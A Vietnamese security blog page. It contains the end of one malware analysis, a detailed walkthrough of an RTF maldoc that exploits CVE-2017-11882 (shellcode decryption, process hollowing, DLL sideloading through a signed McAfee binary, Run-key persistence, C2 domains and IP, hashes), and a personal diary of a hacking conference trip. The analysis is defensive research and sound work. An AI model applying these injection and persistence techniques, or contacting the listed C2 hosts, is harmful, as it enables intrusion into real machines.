Tiếp tục decode sẽ có được kết quả:

Như vậy, script khi thực hiện sẽ móc lên C2 để download một file có đuôi .gif: hxxps://beta[.]officopedia[.]com/dr/msg[.]gif. Tính tới thời điểm phân tích thì file này không còn tồn tại.

4. IOCs

File (ITW: Scan_Mau_Ao_Thun.doc): 5c41652ee19351f344243d2f10bc79b024db1183598df8e8474e0f4629f0a49a

Other script: msohtml.log

940FBAC34F7F2DB40617F3E0F68DC395CB9D8E71DE20788E1524FD35838AB5CF

Task Scheduler:

Name: WindowsMediaUpdates

Action: explorer.exe shell:::{random_CLSID}

Registry key:

“HKCU\Software\Classes\CLSID\{random_CLSID}\Shell\Manage\Command\”

C2:

hxxps://beta[.]officopedia[.]com


Vô tình bắt gặp trên twitter của @blu3_team (Tôi không rõ sao acc này lại rất hay có được những mẫu target vào VN), tôi tò mò muốn biết kĩ thuật đằng sau nó là gì bởi tôi thấy nó tương tự như một bài mà tôi đã đọc https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a, và vì xem comment, người nghi ngờ là OceanLotus, người khẳng định là 1937CN Team

Xin lỗi vì bài viết khá dài, tôi cũng không biết làm thế nào để cho nó ngắn hơn :D, nếu bạn không có thời gian để đọc hết thì bấm một like rồi chuyển trang khác. Phần tôi, một là do tôi thích viết, mặt khác cũng là cách tôi tự rèn kĩ năng … phần nữa là vì tôi biết rằng chỉ khi mình thực sự bắt tay vào phân tích mới thấy nó khác xa với những gì mình đọc bằng mắt và tưởng tượng….



1. Môi trường thực hiện

1. Máy ảo REMnux (https://remnux.org/): sử dụng để phân tích files, giả lập Internet services và capture network traffic.

2. Máy ảo Win10x64 (tự build): sử dụng cho Static & Dynamic Analysis

a. Cài đặt sẵn các cộng cụ debugger & disassembler: OllyDbg, x64dbg, IDA …

b. Cài đặt sẵn Office 2013.

c. Enable tải khoản Administrator (mặc định tài khoản này bị disable) và đăng nhập bằng tải khoản này để thực hiện phân tích.

2. Phân tích theo hành vi

Khi mở tài liệu trên máy ảo Win10, sẽ thấy ứng dụng EQNEDT32.exe được gọi, sau đó xuất hiện thêm hai tiến trình khác là QcConsol.exedllhst3g.exe:


Trên máy ảo REMnux chạy Wireshark để capture traffic từ máy ảo Win10, thu được kết quả kết nối tới C2 server là login[dot]dangquanwatch[dot]com:

Log của Noriben (https://github.com/Rurik/Noriben) cung cấp:

3. Phân tích sample trên REMnux

Sample nhận được là một file có định dạng RTF:

Sử dụng rtfobj (https://github.com/decalage2/oletools), biết được sample này có 3 objects:


Object tại id 0 có FileName là 8.t, khi mở tài liệu thì file này sẽ được drop vào thư mục Temp trên máy. Hai object còn lại được nhận diện là “Not a well formed ole object”.

Dùng luôn rtfobj để dump toàn bộ các objects này:

Kiểm tra thông tin từng file. Đầu tiên là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_8.t:

Theo data như trên hình thì khả năng file này đã bị mã hóa và sẽ được giải mã sau khi drop vào thự mục Temp.

Với file b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11FB.raw:

Căn cứ vào dấu hiệu như trên hình thì khả năng file RTF có thể sẽ sử dụng exploit CVE-2017–11882 (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882).

Kiểm tra file còn lại là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11E9.raw:

File này khả năng sẽ chứa đoạn shellcode để thực hiện sau khi máy nạn nhân bị exploit. Thông tin sợ bộ là như vậy, tiếp theo ta sẽ thực hiện debug sample này để xem file 8.t được sử dụng như thế nào.

4. Debug maldoc trên Windows10

Liên quan tới exploit CVE-2017–11882, khi chạy sample, Winword.exe sẽ gọi tiến trình EQNEDT32.exe để handle OLE object. Tuy nhiên, Winword.exe không phải là process cha của EQNEDT32.exe, tiến trình EQNEDT32.exe được gọi bởi Winword.exe thông qua việc sử dụng COM Object như hình dưới đây:

Như vậy, bằng cách nào đó ta phải attach được EQNEDT32.exe vào debugger để debug. Ở đây, tôi sử dụng một kĩ thuật của M$ là Image File Execution Options (IFEO: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/).

Vào Registry, tạo một key như sau hoặc nếu cài Word2013 trở lên thì khả năng có sẵn key này (vì tôi thấy trên máy tôi có sẵn):

Tiếp theo, tạo một string value để khởi chạy debugger khi EQNEDT32.exe được thực thi, qua đó sẽ attach đươc debugger vào tiến trình của EQNEDT32.exe.

Với thiết lập như trên, kiểm tra lại bằng Autoruns sẽ như sau:

Lưu ý: khi thiết lập IFEO, các thiết lập sẽ tự động bộ giữa hai key: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsHKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Tiếp theo, mở WINWORD.EXE, sau đó từ Winword mở tài liệu malicious rtf. Lúc này, tiến trình EQNEDT32.exe cũng sẽ được khởi chạy và được attach vào debugger:

Tại debugger, ta đang dừng lại tại EP(Entry Point) của EQNEDT32.exe:

Kiểm tra ta thấy file 8.t đã được drop vào thư mục Temp:

Đặt BP tại API CreatFileW, sau đó nhấn F9 để thực thi, ta thấy chương trình sẽ thực hiện mở file 8.t để đọc nội dung:

Trace qua hàm này và return, sẽ tới shellcode của exploit:

Gọi hàm GetFileSize để lấy kích thước của 8.t:

Sau đó, gọi hàm VirtualAlloc để thực hiện cấp phát một vùng nhớ:

Vùng nhớ được cấp phát trỏ bởi thanh ghi EAX, follow theo vùng nhớ này để xem code sẽ tác động gì lên nó:

Hàm ReadFile được gọi để đọc ra nội dung của 8.t:

Toàn bộ nội dung của 8.t được đọc vào vùng nhớ đã được cấp phát ở trên:

Tiếp tục trace sẽ tới đoạn shellcode thực hiện giải mã toàn bộ nội dung của file 8.t trong memory tại 0x4F70000:

Sau vài lần trace code sẽ thấy được dấu hiệu MZ, nhưng vậy file 8.t sau khi giải mà sẽ là một PE file:

Cho thực hiện xong toàn bộ vòng lặp giải mã trên sẽ có được một PE hoàn chỉnh trong bộ nhớ:

Dump PE mới này và lưu lại để thực hiện phân tích sau:

File dump được là một exe file:

Tiếp tục debug, shellcode gọi tiếp hàm VirtualAlloc để cấp phát một vùng nhớ khác tại địa chỉ 0x5170000:

PE được giải mã tại vùng nhớ 0x4F70000 sẽ được copy vào vùng nhớ mới được cấp phát ở trên:

Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ pe_unmapper của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper) để chuyển đổi từ virtual format về định dạng raw:

Debug tiếp, shellcode gọi hàm GetModuleFileNameA được gọi để lấy đường dẫn của EQNEDT32.exe:

Sử dụng CreateProcessA (CreateProcessInternalA) để tạo một process EQNEDT32.exe khác ở trạng thái Suspended. Do đang thiết lập tính năng IFEO nên ta sẽ thấy process của debugger thay vì là process EQNEDT32.exe:

Note: Nếu thực hiện lại, tới bước này thì sử dụng Autoruns để bỏ việc sử dụng IFEO và cho thực hiện hàm CreateProcessA, ta sẽ có được kết quả đúng như hình:

Đoạn code tiếp theo sẽ lấy thread context bằng GetThreadContext, đọc dữ liệu từ vùng nhớ với hàm ReadProcessMemory, gọi VirtualProtectEx (PAGE_EXECUTE_READWRITE 0x40) để thay đổi trang thái của vùng nhớ trên Suspend process, và cuối cùng shellcode ghi đè lên bằng PE tại địa chỉ 0x5170000:

Thực hiện đặt lại thread context bằng SetThreadContext, cuối cùng shellcode thực hiện hàm ResumeThread để launch PE mới:

Tổng kết lại, toàn bộ quá trình thực hiện của shellcode là giải mã file 8.t thành một PE mới, sau đó thực hiện nhân bản sang một vùng nhớ khác, thực hiện tạo một fork process mới là EQNEDT32.exe, cuối cùng áp dụng kĩ thuật runPE để launch EQNEDT32.exe mới đã bị ghi đè code bởi nội dung của file 8.t.

5. Phân tích binary đã dump

Như đã biết khi phân tích dynamic, sau khi resume thread thì malware sẽ drop ra disk các file sau: QcConsol.exe; QcLite.dll; stdole.tlb vào thư mục %AppData%\Microsoft\Windows\Printer Shortcuts.

Ở trên tôi có 2 file đã dump là _04F70000.memdrop_bin.exe (được unmap bằng công cụ pe_unmapper). Tuy nhiên, chỉ có file _04F70000.mem là thực thi được bình thường, còn file drop_bin.exe thì bị crash (mặc dù lúc fix, kiểm tra bằng PE bear thấy mọi thứ đều ok. Tôi có chat hỏi về vấn đề này thì nhận được trả lời của hasherezade như sau: “dumped samples may not always work, so it is normal”).

Mở IDA và load file _04F70000.exe (đổi tên lại từ file .mem), dừng lại tại WinMain():

Binary lấy đường dẫn tới thư mục %AppData%\Microsoft\Windows\Printer Shortcuts:

Cấu thành đường dẫn của các file:

Tới đoạn code thực hiện call sub_331860 3 lần để thực hiện drop các file trên vào thư mục chỉ định. Tôi đổi tên sub này thành thành drop_file như hình:

Đi sâu vào hàm này sẽ gặp vòng lặp xor thực hiện decode bytes, sau đó là đoạn code thực hiện WriteFile vào thư mục:

Kết quả sau khi thực hiện hàm drop_file đầu tiên, có được file QcConsol.exe:

Đây là một file hợp lệ, có chữ kí và được phát triển bởi hãng McAfee, Inc.:

Lời gọi hàm drop_file thứ 2 sẽ drop ra file QcLite.dll, file này không có thông tin gì về Signature cũng như info, như vậy malicious code sẽ nằm ở file này:

Lời gọi hàm drop_file thứ 3 sẽ drop ra file stdole.tlb. Thông tin về .tlb có thể xem tại đây (https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries):

Tiếp tục, cấu thành một command như sau:

Cuối cùng, gọi hàm WinExec để thực thi QcConsol.exe với tham số là “-LowIntegrityServer”:

Như vậy, với việc thực thi thành công, QcConsol.exe chắc chắn sẽ phải load QcLite.dll vào để thưc thi malicious code.

6. DLL hijacking — Phân tích file QcConsol.exe

Load file vào IDA nhận được thông báo:

Để nạp được QcLite.dll, QcConsol.exe sử dụng API LoadLibraryW và sau đó gọi GetProcAddress để lấy địa chỉ của hàm. Về bản chất khi thực hiện nạp module thì đồng thời code của dll cũng sẽ được thực hiện bắt đầu từ DllMain:

7. Phân tích sơ bộ file QcLite.dll

Gọi hàm VirtualAlloc để cấp phát một vùng nhớ:

Lấy đường dẫn đầy đủ tới QcLite.dll:

Dll này sẽ load file .tlb:

Gọi hàm CreatFileW để mở file này (lpFileName trỏ tới stdole.tlb):

Lấy kích thước của stdole.tlb:

Đọc dữ liệu từ stdole.tlb và lưu vào vùng nhớ đã cấp phát ở trên:

Thực hiện vòng lặp sử dụng xor để decode toàn bộ dữ liệu của stdole.tlb đã được copy lên memory:

Kết quả có được sau khi decode, nghi ngờ khả năng đây có thể sẽ là một PE file khác:

Qua rất nhiều rop_chain (tôi đoán thế :D) thì sẽ nhảy tới vùng nhớ trên để thực thi code (Cách nhanh nhất thì các bạn có thể đặt một HWBP on Execute tại 4 bytes đầu 0x50 0x68 0xA7 0x45; sau đó nhấn F9 là tới):

Shellcode tại 0x01A10000 sẽ truy cập PEB (Process Environment Block) để lấy ra địa chỉ base address của kernel32.dll:

Sau khi có được base address của kernel32.dll, shellcode sẽ tìm địa chỉ của hàm API GetProcAddress:

Với hàm API GetProcAddress, shellcode sẽ lấy địa chỉ của các hàm API khác là LoadLibraryA, VirtualAlloc, FreeLibraryA, Sleep:

Sử dụng hàm VirtualAlloc để cấp phát một vùng nhớ và gọi hàm decode_data() để decode bytes trong shellcode vào vùng nhớ cấp phát:

Tiếp tục sử dụng VirtualAlloc để cấp phát thêm một vùng nhớ khác với kích thước lấy từ vùng nhớ trên (dwSize = SizeOfImage = PE_header + 0x50) và thiết lập vùng nhớ mới này là PAGE_EXECUTE_READWRITE:

Sau khi lấy được section header tại vùng nhớ 0x01880000 ở trên, thực hiện vòng lặp để copy toàn bộ các section data sang vùng nhớ mới được cấp phát:

Tiến hành resolve toàn bộ địa chỉ API ghi lại vào IAT của vùng nhớ mới:

Sau khi lấy địa chỉ của toàn bộ các API cần thiết, sử dụng lệnh call để nhảy tới vùng nhớ để thực hiện lệnh:

Tiếp tục debug xuyên qua nhiều lớp call sẽ tới đoạn gọi hàm CreateThread để tạo một thread mới:

Đi tới ThreadFunction tại địa chỉ 0x01EE35D0. Code tại đây thực hiện lấy thông tin binary có sẵn của Windows là dllhst3g.exe:

Xem tổng quan code thì thấy có đoạn code liên quan đến C2 (login[dot]dangquanwatch[dot]com):

Tạo một thread khác làm nhiệm vụ tạo Persistent trong Registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

Gọi hàm WritePrivateProfileStringW để ghi string vào file tại “C:\ProgramData\desktop.ini”:

Thiết lập thuộc tính cho file với hàm SetFileAttributesW:

Tạo một Mutex {986AFDE7-F299–4A7D-BBF4-CA756FC01F1B65027208}, tuy nhiên handle tới mutext này sẽ bị đóng ngay sau đó:

Tiếp tục sử dụng bộ API CreateFileW, GetFileSize, VirtualAlloc, ReadFile để một lần nữa đọc ra nội dung được lưu trong file %AppData%\Microsoft\Windows\Printer Shortcuts\stdole.tlb và thực hiện decode dữ liệu giống như đã nói ở bước trước:

Thực hiện kĩ thuật inject code bằng cách gọi hàm CreateProcessW để khởi động tiến trình dllhst3g.exe ở trạng thái Suspended:

Cấp phát vùng nhớ trong tiến trình này thông qua hàm VirtualAllocEx:

Gọi hàm WriteProcessMemory để ghi dữ liệu từ 0x00F90000 (buffer chứa data đã decode của stdole.tlb) vào vùng nhớ đã cấp phát tại tiến trình dllhst3g.exe, đặt lại thread context và resume thread. Lúc này dllhst3g.exe sẽ thực thi bình thường và thực thi luôn malicious code:

8. Debug dllhst3g.exe

Hoàn thành xong việc inject code vào dllhst3g.exe sẽ gọi ExitProcess để kết thúc tiến trình QcConsol.exe và tiếp tục thực thi tiến trình dllhst3g.exe. Do dllhst3g.exe bị inject code của file stdole.tlb sau khi decode trên bộ nhớ, nên cách thức hoạt động cũng tương tự. Để có thể debug xem dllhst3g.exe sẽ làm gì thì trước khi thực hiện bước WriteProcessMemory ở trên, sửa 2 bytes đầu là 0x50 0x68 thành 0xEB 0xFE. Sau khi resume thread, mở một debugger khác để attach và khôi phục lại 2 bytes đã bị sửa.

Lúc này, debug sẽ thấy code tạo một mutext và đọc lại nội dung từ file “C:\ProgramData\desktop.ini” và decode string trong file này thành:

Gắn thêm tham số: 0206F4E4 00D80B30 UNICODE “”C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\QcConsol.exe” –LowIntegrityServer và gọi hàm WinExec để thực thi

Tiến trình mới này sẽ kết nối tới C2 (Ở đây tôi đang lái traffic về REMnux):

Tại máy REMnux, sử dụng wireshark sẽ capture được thông tin như hình:

9. IOCs

Domain: login[dot]dangquanwatch[dot]com / IP: 185.77.129.142

RTF: b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415

8.t: 6328dd14eda2ef983810c0c7b3af47298b5998e4fa52d97b204be2818f08bb69

Binary:

QcConsol.exe: 9f3114e48dd0245467fd184bb9655a5208fa7d13e2fe06514d1f3d61ce8b8770

QcLite.dll: 5b652205b1c248e5d5fc0eb5f53c5754df829ed2479687d4f14c2e08fbf87e76

Others:

stdole.tlb: ba620bad026f25ba6decc4bdcefc6415b563503cf9eaddc4e1137a5871d5cee2

desktop.ini: 31c2be9ca29fb2bd8096720c221ee9682f013eee119b02d390d6efc12684392d

Registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run & HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName: Windows HD Audio Manager

Data: %AppData%\MICROS~1\Windows\PRINTE~1\QcConsol.exe -LowIntegrityServer

Future ….

Posted: October 13, 2018 in Uncategorized

Vẫn còn đang dang dở…. khi nào vui vui tôi sẽ public 😀

future_tuts

Nhật ký trà đá 0 chấm 4

Posted: September 18, 2018 in Uncategorized
Tags:

Trà đá hacking #7 lần này để lại cho tôi rất nhiều kỉ niệm:
  • Lần đầu tiên tôi lưu trú ở SG gần 1 tuần (chợt nhớ ra là không phải nhưng chót rồi thôi cứ để nguyên 😀 )
  • Lần đầu tiên tôi làm training ở SG, như một sự kiện bên lề của hội thảo.
  • Lần đầu tiên tôi được trải nghiệm trên con exciter huyền thoại của g4mm4
  • Lần đầu tiên tôi ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… –
  • Lần đầu tiên tôi ăn lẩu cá kèo mà bị bắn pháo hoa tại một khách sạn ở Q3.
  • Lần đầu tiên trà đá tổ chức nguyên ngày.
  • Lần đầu tiên trà đá cũng phải có câu mở đầu Cờ Mờ 4.0
  • Lần đầu tiên tôi tôi kiêm cả zommer lẫn presenter tại trà đá.
  • – ….

Thông qua g4mm4, tôi được biết trà đá hacking #7 có làm Workshop đào tạo trước hội thảo trong thời gian 2 ngày . Lúc g4mm4 ngỏ ý, tôi có trao đổi xem đã ai đăng kí làm trước chưa, nếu có rồi thì ưu tiên người tới trước. “Loằng ngoằng” thế nào, g4mm4 nhắn tôi : “Chốt lại chỉ có mỗi anh đăng kí training”. Tôi đồng ý luôn! Toàn bộ các việc từ PR, giật tít, lập form đăng kí, liên hệ thuê phòng… tôi nhờ g4mm4 làm hết, đơn giản vì tôi biết riêng khoản này không ai qua nổi g4mm4 và thực tế cũng chẳng còn ai khác 🙂 … tóm lại g4mm4 chạy cả hai show: Workshop + Trà đá. Cảm nghĩ cá nhân, nếu trà đá không có người còn nhiết huyết như g4mm4 thì chắc tới số 10 là dẹp …

Những tuần trước ngày dự kiến training là khoảng thời gian mà có lẽ tôi với g4mm4 chat với nhau nhiều nhất :P, cùng lúc đó tôi cũng báo g4mm4 là tôi submit một bài talk ở trà đá, mục đích là để nếu lỡ có “thọt” vụ training tôi còn có tí vớt vát cho quãng thời gian ở SG 😛 . Tôi cũng để nghị g4mm4 cho tôi talk sau anh Quỳnh 😀 … điều này vô tình lại “trở thành hợp lý” khi tôi được vinh dự support người anh trong quá trình present cũng như nhiều bạn diễn giả khác

Những ngày sau đó là thông tin về số lượng người đăng kí học, có thời điểm tôi và g4mm4 đứng giữa hai từ “Chốt” và “Nghỉ“. Đỉnh điểm, tôi nhắn đúng dòng này cho g4mm4: “Okie, có sao dạy thế vậy, chả mấy khi” và nhận được hình này từ g4mm4 (Cảm động !!! )

Địa điểm training được g4mm4 gửi trước để tôi biết, bàn ghế hệt như chỗ mà thằng ku con tôi đang đi học tiếng Anh 😀

Quãng thời gian lưu trú ở SG, tôi thực sự phải cảm ơn người em 0day đã nhiệt tình đưa đón, tạo điều kiện về chỗ ăn ngủ… Từ trung tâm SG phi về Q2- nơi ông em tôi ở hơi xa, nhưng được cái không khí thoáng mát. Ông em tôi công tác SG cũng nhiều năm rồi nên tay lái lụa khỏi bàn :). Từ khu chỗ nhà ông em, tôi lần đầu tiên dòm được tòa nhà Landmark về đêm trông rất đẹp:

Đối diện với khu chung cư là tòa nhà của TCT, cái tòa nhà to vãi cả đái, tôi không rõ trong đó có tổng cộng bao nhiêu nhân viên, nhưng để ngồi được hết ngần này tầng thì chắc là đông lắm:

Logo của tòa nhà này lại gợi cho tôi nhiều kỉ niệm vui buồn khi tôi còn làm ở công ty cũ. Cái thời “thầu” + “bè” nó giống như kiểu “bạn” + “bè”. Bạn thì ít mà bè thì nhiều Thời đó, lúc làm thầu muộn ở công ty tôi hay bật mấy bài nhạc có đoạn:

"Mải miết 8 tiếng sinh nhai
Mồ hôi thấm ướt đôi vai
Ngược xuôi ngày qua rồi khi nhắm mắt đâu ai hơn ai
Mải miết 8 tiếng sinh nhai
Nhiều khi quên hết đúng sai
Lạc trong đoàn xe lại qua chợt quên rằng ta là ai"

"Ngày yêu nhau
Nào ai đâu nghĩ xa xôi
Nghĩ đâu yêu cổ lùn
Cổ lùn cổ lùn ú u cổ lùn

Gần nhau lâu
Nào ai đâu nghĩ xa xôi
Biết anh em cổ lùn
Cổ lùn cổ lùn u u u cổ lùn"

Tôi qua chỗ ông em ở một phần vì lâu mới có dịp vào SG, anh em lâu ngày không gặp có nhiều chuyện để nói, phần nữa là vì gần khu nhà ông em có quán cà phê rang xay tại chỗ (nguồn cà phê cũng tự trồng luôn),  uống rất ngon. Không phải thứ cà phê nhạt toẹt mà thỉnh thoảng tôi vẫn uống ở HN. Ở SG, có cái đặc biệt là quán cà phê và quán nhậu, chỗ nào cũng to và rộng

Tuy nhiên, với tốc độ đô thị hóa chóng mặt như hiện nay thì tôi nghĩ tương lai, vài năm nữa Q2 sẽ ngày càng đông dân cư hơn … và chắc không khí sẽ không còn được thoáng mát nữa 😦

Hai ngày training, tôi bắt xe từ Q2 lên địa điểm đào tạo ở Q5. Tôi đến sớm để nhận phòng, kê bàn ghế, máy chiếu, căn chỉnh mic … g4mm4 hỗ trợ công tác hậu cần kiêm học viên luôn :D. Thời gian đào tạo là không nhiều và tôi cũng nói thẳng luôn là RE hay bất kì công việc nào đi nữa, nó không phải ngày một, ngày hai là giỏi được … nó phải là cả một quá trình rèn luyện và tích lũy. Bản thân tôi cũng không đủ khả năng để truyền tải hết được, và tôi cũng chả hứa hẹn những thứ cao siêu hay vạn lời có cánh như bao người đã từng hứa hẹn với tôi … nhưng những gì làm được tôi cũng đã làm rồi. Tôi hi vọng sẽ có nhiều bạn thành công hơn và cố gắng đem kiến thức của các bạn chia sẻ lại cho cộng đồng. Nếu được như thế tôi cảm ơn lắm lắm …

Đôi tông của g4mm4 😀

Qua đây, thay mặt BTC, tôi gửi lời cảm ơn trân trọng nhất tới tất cả các bạn đã dành thời gian 2 ngày để tham dự khóa đào tạo RE của tôi (đặc biệt là g4mm4! Nếu không có g4mm4 thì sẽ không có buổi WorkShop này…).

Bên cạnh đó, tôi cũng cảm ơn các bạn đã dành thời gian để gửi phản hồi cho khóa học.. mặc dù vẫn chưa đủ nhưng đó là nguồn động lực để tôi tiếp tục thực hiện công việc mà anh em trong ngành gán cho tôi: “Nhà giáo nhân dân”/ “Thầy giáo quốc dân”.

Kết thúc hai ngày đào tạo, tôi được trải nghiệm một cung đường mà chắc sẽ không quên. Đúng theo cái status tôi đăng trên FB ” Ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… “. Cũng là lần đầu tiên tôi ngồi sau tay lái huyền thoại g4mm4, trên con exciter đã độ bóng loáng 🙂 . Đây là quán bar mà theo lời g4mm4 cũng thuộc loại sôi động ở SG, là nơi tụ tập của giới có tiền … Có đám tây xin lên nhảy hình như không được nên bỏ về lolz 😀

Tôi có thời gian nghỉ ngơi một ngày trước khi tham dự hội thảo. Tối đó tôi có hai kèo nhậu, một với lđ Seamoun Vncert, hai là với anh em {REA-TEAM}. Kèo với anh em REA đã setup từ trước khi tôi vô SG, nên cứ nhậu đã rồi tính tiếp … ở SG về đêm thì chả ai nói trước được điều gì 😀 .. anh em báo quán nào thì túc tắc mà bắt xe qua quán đó thôi 😛 . Sáng sớm, tôi ăn được tô phở (nghe 0day bảo quán này cũng tự làm từ A-Z) và uống ly cà phê rất chất:

6h tối, tôi bắt xe từ Q2 tới quán Lẩu cá kèo Bà Huyện Thanh Quan ở Q3. Hẹn hò thế dek nào mà tôi là thằng tới quán đầu tiên, a Còm lát sau thấy phi xe máy đến … Còn lão Zombie, định mệnh lề mề vãi nồi, lại còn tạt qua đón ku Chiro. Mịa, tôi cứ nghĩ SG éo cao su như HN, không ngờ vẫn cao su như thường…Mà cái lão chửi thiên hạ như hát hay lại là thằng đến muộn … định mệnh lần nữa. Đám REA gặp nhau thường chỉ nói chuyện và bụp, quên mịa cả việc chụp ảnh check-in.

Tôi chỉ chụp được cái đống điện thoại của lão Zom, wtf không hiểu với 3 cái này lão nhét thế nào vào túi 😦 .. Mọe, đại gia mà lúc nào mồm cũng kêu hết tiền …

Ăn xong, tính đi hát hò vì lâu rồi tôi không nghe anh Còm hát … mà xui cái dính đúng vào cuối tuần, quán gần đó kín phòng, anh em giải tán luôn. Tôi bắt xe lộn qua chỗ lđ Seamoun vì ông anh gọi liên tục, tôi sợ có người lại dỗi lolz 😀

Tưởng ngày nghỉ thế nào, chứ mà nguyên tối cứ nhấc cốc lên rồi lại đặt xuống … nó chả khác gì tập tạ . May mắn thế nào, tôi lại được gặp ca sĩ “Gọi đò”, Thái vừa trở về sau cuộc tham dự mạng lưới đổi mới sáng tạo Việt Nam và có viết bài chia sẻ về “Nhật ký cờ mờ 4.0″ trên Blog cá nhân. Tôi nghĩ bạn nào chưa đọc thì nên đọc 😀

Do thời gian, lịch làm việc cộng thêm việc di chuyển liên tục nên tôi để ý thấy Thái có vẻ hơi mệt. Kết thúc buổi nhậu, tôi may mắn xin Thái chụp một tấm hình … tôi nghĩ tấm này cũng đáng đồng tiền bát gạo như trong bài Nhật ký của Thái đấy lolz 😀

Tối đó, tôi qua đêm cùng với lđ Seamoun … người anh lần này tiếp đón ân cần vãi nồi, không như lần nào đó … cũng giữa đất Sài Thành, tôi móc máy ra gọi bị người anh chửi xối xả . Đúng là cuộc đời, nhiều khi thay đổi chả biết đường nào mà lần….

Xui thế nào, chả biết do lẩu cá kèo hay do uống loạn bia mà đếm đó tôi bắn pháo hoa làm người anh tỉnh giấc … Tôi nghĩ bụng, chắc lần này là lần cuối tôi được nằm cùng phòng với lđ.

Sáng hôm hội thảo, tôi với lđ bắt taxi từ Q3 tới địa điểm Toà nhà FPT Tân Thuận, Q7. Tới nơi, Thái cũng đã có mặt ở đó, nhưng Thái có việc bận cá nhân nên không ở lại tham dự. Tôi nghĩ, nếu Thái tham dự thì chắc màn hỏi đáp ở cuối giờ nó còn kéo dài hơn nữa!! 😀

Năm nay tổ chức trên sân nhà của FPT nên tôi nghe g4mm4 nói ban PR của FPT làm việc tích cực lắm. Bằng chứng rõ ràng là lđ Dương K4i nhận phần phát biểu khai mạc đại hội “đảng” lần thứ 7. Tôi không ngờ “ông ngoại tuổi 30“, thầy của nhiều sinh viên mà lại có những giây phút bối rối và bị “gò vấp” 😀 107… nhất là đoạn nói về cuộc cách mệnh mang tính lịch sử 0 chấm 4, tôi đã thấy lđ cúi đầu.. không rõ có phải vì “tương lai phía trước của Đông Lào” hay không?

IMG_20180826_091938

Tới giờ diễn, xui thế nào mà máy anh em cắm vô máy chiếu bị thọt hết, duy chỉ có con lap của tôi là xài được lolz … Túm váy lại là đừng mang máy Mac đi present … thọt lúc nào không biết. Máy tôi được trưng dụng để phục vụ cho toàn bộ diễn giả của trà đá … Con lap màn cảm ứng nên anh em nói đến đâu, đoạn code nào tôi zom đến đấy, nuột như người ta lồng tiếng cho “phim hành động” á 😀 … nhiều người chắc tưởng cái máy chiếu có chức năng mới nhưng đâu ngờ có tôi ở dưới “quay tay” mỏi vãi nồi 😛 . Tôi nghĩ, quả zom này là độc nhất vô nhị chưa từng có hội thảo nào ở VN 

Tôi được chốt hạ để kết thúc hội thảo … cũng gọi là mang lại một không khi vui vẻ cho những bạn nào còn kiên trì ngồi lại đến cuối cùng. Rất cảm ơn mọi người:

Hết hội thảo là màn hỏi đáp, thú thực buổi trưa tôi gặm được cái bánh mì … may cuối giờ g4mm4 dí cho lon bò húc, chứ không là cũng tụt huyết áp.. 😦 Chưa bao giờ tôi cầm cái lon bò húc lạnh mà làm một hơi hết cả lon 😀 . Nhìn lại cái ảnh này tôi vẫn không nhịn nổi cười :

Nhắc đến trà đá mà không nói đến buổi offline thì phí. Tôi đã từng hạ gục lãnh tụ RD tại Lương Sơn Quán … nhưng tất nhiên tôi cũng không còn nhớ gì sau đó . Lđ cùng giường với tôi cũng vì thế mà giận tôi một thời gian  😛 .

Đụ, trong đám nhậu tối hôm đó, có cha người Sing, gã đi hết bàn này bàn khác gạ uống … cứ chạm mặt tôi là gạ “bottom up”. Được đâu chạm chán tầm 3 – 4 quại , tôi nghĩ “Bốt bốt cái nồi 😀 “ … tôi chỉ gã sang chỗ a Quỳnh, rồi anh RD lolz .. Tôi thấy gã vác cốc sang mời các anh mình nhiệt lắm 😀 … Thiện lành quá đi !!

Offline là để kết nối và tôi cũng đã gặp được nhiều bạn trẻ tài năng:

Tối hôm offline thú thực tôi nhớ được hai món là cơm ranghủ tiếu (chỗ đại ka Phi Kha dẫn đi) … SG thì bia nó sẵn rồi các bạn ạ, đồ ăn chưa lên thì bia bàn nào cũng đã thấy ngập cốc adore . Thế nên, món cơm rang vừa lên là tôi tranh thủ bụp luôn, phần vì đói quá, phần vì không đớp thì lát “bão” tràn qua chắc chỉ có gục tại bàn. Bàn tôi hình như cơm rang ra trước hay sao á, lt Seamoun nhìn thấy đĩa cơm mà giống như người trong “khoa hồi sức cấp cứu” vớ được “chai dịch truyền hoa quả“, lặng lẽ cầm tô qua táp như đúng rồi 😀 . Giờ tôi mới hiểu thấu hơn vì sao đi nhậu anh em lúc nào cũng dặn quán “Cấm không cho lt gọi thứ gì dính đến tinh bột” lolz.

Ngồi đối diện tôi là đám LC/BC, nhìn đồng chí tây râu quai nón tôi nghĩ chắc nó già hơn mình, ai dè nó kém tôi gần chục, chưa kể em gái cùng team, đúng là gái Nga, vừa trẻ (hình như 21), vừa xinh. Tôi nghĩ đám này thi Meepwn CTF cả ngày rồi nên đói, thế nên món mới cứ lên là tôi dụ mấy đồng chí này thử, tôi nhớ mình dụ họ ăn rau diếp cá 😀 (ở VN nhiều người không ăn được rau này đâu), ăn hạt tiêu sọ, rồi đủ thứ … chắc tôi ép ăn nhiều quá, họ sợ chạy mọe sang bàn khác ngồi uống bia lolz.

